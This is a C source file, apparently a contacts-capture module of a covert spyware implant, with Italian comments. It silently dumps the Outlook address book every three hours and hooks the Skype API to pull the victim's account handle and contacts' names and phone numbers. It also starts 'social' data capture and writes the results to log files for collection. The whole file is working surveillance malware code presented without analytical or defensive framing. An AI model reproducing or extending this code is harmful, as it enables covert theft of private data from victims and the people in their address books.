HM_Contacts.h
#include "HM_ContactAgent/OLABMAPI.h"
extern void StartSocialCapture(); // Per far partire le opzioni "social"
#define CONTACTS_SLEEP_TIME (1000*60*60*3) //millisecondi (ogni 3 ore)
// Globals
BOOL g_bContactsForceExit = FALSE; // Semaforo per l'uscita del thread (e da tutti i clicli nelle funzioni chiamate)
//BOOL bPM_ContactsStarted = FALSE; // Indica se l'agente e' attivo o meno
HANDLE hContactsThread = NULL; // Thread di cattura
DWORD g_contact_delay = 0; // Il delay deve essere assoluto (non deve ricominciare ad ogni sync)
BOOL bPM_cnspmcp = FALSE; // Semaforo per l'uscita del thread
HANDLE hCnSkypePMThread = NULL;
typedef struct _ContactHeader{
DWORD dwSize;
DWORD dwVersion;
LONG lOid;
DWORD program;
DWORD flags;
} ContactHeaderStruct, *pContactHeaderStruct;
DWORD CalcEntryLen(WCHAR *string)
{
DWORD lens;
if (!string)
return 0;
lens = wcslen(string);
if (lens > 0)
return (lens*sizeof(WCHAR) + sizeof(DWORD));
return 0;
}
#define ADD_CONTACT_STRING(x,y) if (x && wcslen(x)>0) {\
DWORD tlen; \
tlen = wcslen(x)*sizeof(WCHAR); \
tlen |= (y<<24); \
tolog.add(&tlen, sizeof(DWORD)); \
tolog.add(x, wcslen(x)*sizeof(WCHAR));}
BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *screen_name, WCHAR *facebook_page, DWORD flags)
{
bin_buf tolog;
ContactHeaderStruct contact_header;
contact_header.dwVersion = 0x01000001;
contact_header.lOid = 0;
contact_header.dwSize = sizeof(contact_header);
contact_header.dwSize += CalcEntryLen(name);
contact_header.dwSize += CalcEntryLen(email);
contact_header.dwSize += CalcEntryLen(company);
contact_header.dwSize += CalcEntryLen(addr_home);
contact_header.dwSize += CalcEntryLen(addr_office);
contact_header.dwSize += CalcEntryLen(phone_off);
contact_header.dwSize += CalcEntryLen(phone_mob);
contact_header.dwSize += CalcEntryLen(phone_hom);
contact_header.dwSize += CalcEntryLen(screen_name);
contact_header.dwSize += CalcEntryLen(facebook_page);
contact_header.program = program;
contact_header.flags = flags;
tolog.add(&contact_header, sizeof(contact_header));
ADD_CONTACT_STRING(name, 0x1);
ADD_CONTACT_STRING(email, 0x6);
ADD_CONTACT_STRING(company, 0x3);
ADD_CONTACT_STRING(addr_home, 0x21);
ADD_CONTACT_STRING(addr_office, 0x2A);
ADD_CONTACT_STRING(phone_off, 0xA);
ADD_CONTACT_STRING(phone_mob, 0x7);
ADD_CONTACT_STRING(phone_hom, 0xC);
ADD_CONTACT_STRING(screen_name, 0x40);
ADD_CONTACT_STRING(facebook_page, 0x40);
Log_WriteFile(hfile, tolog.get_buf(), tolog.get_len());
return TRUE;
}
DWORD WINAPI CaptureContactsThread(DWORD dummy)
{
LOOP {
// Se e' appena partito prende subito i contatti
if (g_contact_delay == 0)
OL_DumpAddressBook();
// Sleepa
while (g_contact_delay < CONTACTS_SLEEP_TIME) {
Sleep(200);
g_contact_delay += 200;
CANCELLATION_POINT(g_bContactsForceExit);
}
g_contact_delay = 0;
}
}
void SendRequestContacts(HWND skype_api_wnd, HWND skype_pm_wnd)
{
char req_buf[256];
COPYDATASTRUCT cd_struct;
DWORD dummy;
sprintf(req_buf, "GET AUTH_CONTACTS_PROFILES");
cd_struct.dwData = 0;
cd_struct.lpData = req_buf;
cd_struct.cbData = strlen((char *)cd_struct.lpData)+1;
HM_SafeSendMessageTimeoutW(skype_api_wnd, WM_COPYDATA, (WPARAM)skype_pm_wnd, (LPARAM)&cd_struct, SMTO_NORMAL, 0, &dummy);
}
DWORD __stdcall PM_ContactsDispatch(BYTE *msg, DWORD dwLen, DWORD dwFlags, FILETIME *time_nanosec)
{
WCHAR user_handle[256];
WCHAR user_name[256];
WCHAR phone_hom[64];
WCHAR phone_off[64];
WCHAR phone_mob[64];
WCHAR *wptr;
char *ptr;
HANDLE hfile;
// Se il monitor e' stoppato non esegue la funzione di dispatch
if (!bPM_ContactsStarted)
return 0;
// Parsa il messaggio di skype con tutti i contatti
if (dwFlags & FLAGS_SKAPI_MSG) {
NullTerminatePacket(dwLen, msg);
// Parsa il messaggio con il nome del proprio account
if (!strncmp((char *)msg, "CURRENTUSERHANDLE ", strlen("CURRENTUSERHANDLE "))) {
msg += strlen("CURRENTUSERHANDLE ");
hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
_snwprintf_s(user_handle, sizeof(user_handle)/sizeof(WCHAR), _TRUNCATE, L"%S", msg);
DumpContact(hfile, CONTACT_SRC_SKYPE, user_handle, NULL, NULL, NULL, NULL, NULL, NULL, NULL, user_handle, NULL, CONTACTS_MYACCOUNT);
Log_CloseFile(hfile);
return 1;
}
if (strncmp((char *)msg, "AUTH_CONTACTS_PROFILES ", strlen("AUTH_CONTACTS_PROFILES ")))
return 1;
msg += strlen("AUTH_CONTACTS_PROFILES");
ZeroMemory(user_handle, sizeof(user_handle));
ZeroMemory(user_name, sizeof(user_name));
ZeroMemory(phone_hom, sizeof(phone_hom));
ZeroMemory(phone_off, sizeof(phone_off));
ZeroMemory(phone_mob, sizeof(phone_mob));
hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
// I contatti sono separati da ',' e i valori da ';'
do {
msg++;
_snwprintf_s(user_handle, sizeof(user_handle)/sizeof(WCHAR), _TRUNCATE, L"%S", msg);
wptr = wcschr(user_handle, L';');
if (wptr)
*wptr = 0;
if (!(ptr = strchr((char *)msg, ';')))
break;
ptr++;
_snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", ptr);
wptr = wcschr(user_name, L';');
if (wptr)
*wptr = 0;
if (!(ptr = strchr(ptr, ';')))
break;
ptr++;
_snwprintf_s(phone_hom, sizeof(phone_hom)/sizeof(WCHAR), _TRUNCATE, L"%S", ptr);
wptr = wcschr(phone_hom, L';');
if (wptr)
*wptr = 0;
if (!(ptr = strchr(ptr, ';')))
break;
ptr++;
_snwprintf_s(phone_off, sizeof(phone_off)/sizeof(WCHAR), _TRUNCATE, L"%S", ptr);
wptr = wcschr(phone_off, L';');
if (wptr)
*wptr = 0;
if (!(ptr = strchr(ptr, ';')))
break;
ptr++;
_snwprintf_s(phone_mob, sizeof(phone_mob)/sizeof(WCHAR), _TRUNCATE, L"%S", ptr);
wptr = wcschr(phone_mob, L';');
if (wptr)
*wptr = 0;
DumpContact(hfile, CONTACT_SRC_SKYPE, user_name, NULL, NULL, NULL, NULL, phone_off, phone_mob, phone_hom, user_handle, NULL, 0);
} while(msg = (BYTE *)strchr((char *)msg, ','));
Log_CloseFile(hfile);
return 1;
} else if (dwFlags & FLAGS_SKAPI_WND) {
skype_api_wnd = *((HWND *)msg);
if (skype_api_wnd && skype_pm_wnd)
SendRequestContacts(skype_api_wnd, skype_pm_wnd);
return 1;
} else if (dwFlags & FLAGS_SKAPI_SWD) {
skype_pm_wnd = *((HWND *)msg);
if (skype_api_wnd && skype_pm_wnd)
SendRequestContacts(skype_api_wnd, skype_pm_wnd);
return 1;
}
}
DWORD __stdcall PM_ContactsStartStop(BOOL bStartFlag, BOOL bReset)
{
DWORD dummy;
if (bReset)
AM_IPCAgentStartStop(PM_CONTACTSAGENT, bStartFlag);
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_ContactsStarted == bStartFlag)
return 0;
bPM_ContactsStarted = bStartFlag;
if (bStartFlag) {
// Se e' stato startato esplicitamente, ricomincia catturando
if (bReset)
g_contact_delay = 0;
// Crea il thread che cattura i contatti
hContactsThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CaptureContactsThread, NULL, 0, &dummy);
hCnSkypePMThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorSkypePM, (DWORD *)&bPM_cnspmcp, 0, 0);
// Fa partire il processo per la cattura dei dati socia.
// Se inserisco una opzione per abilitare o meno la cattura dei social,
// questa funzione va chiamata solo se l'opzione e' attiva.
StartSocialCapture();
} else {
QUERY_CANCELLATION(hContactsThread, g_bContactsForceExit);
QUERY_CANCELLATION(hCnSkypePMThread, bPM_cnspmcp);
}
return 1;
}
DWORD __stdcall PM_ContactsInit(JSONObject elem)
{
return 1;
}
void PM_ContactsRegister()
{
bPM_ContactsStarted = FALSE;
AM_MonitorRegister(L"addressbook", PM_CONTACTSAGENT, (BYTE *)PM_ContactsDispatch, (BYTE *)PM_ContactsStartStop, (BYTE *)PM_ContactsInit, NULL);
}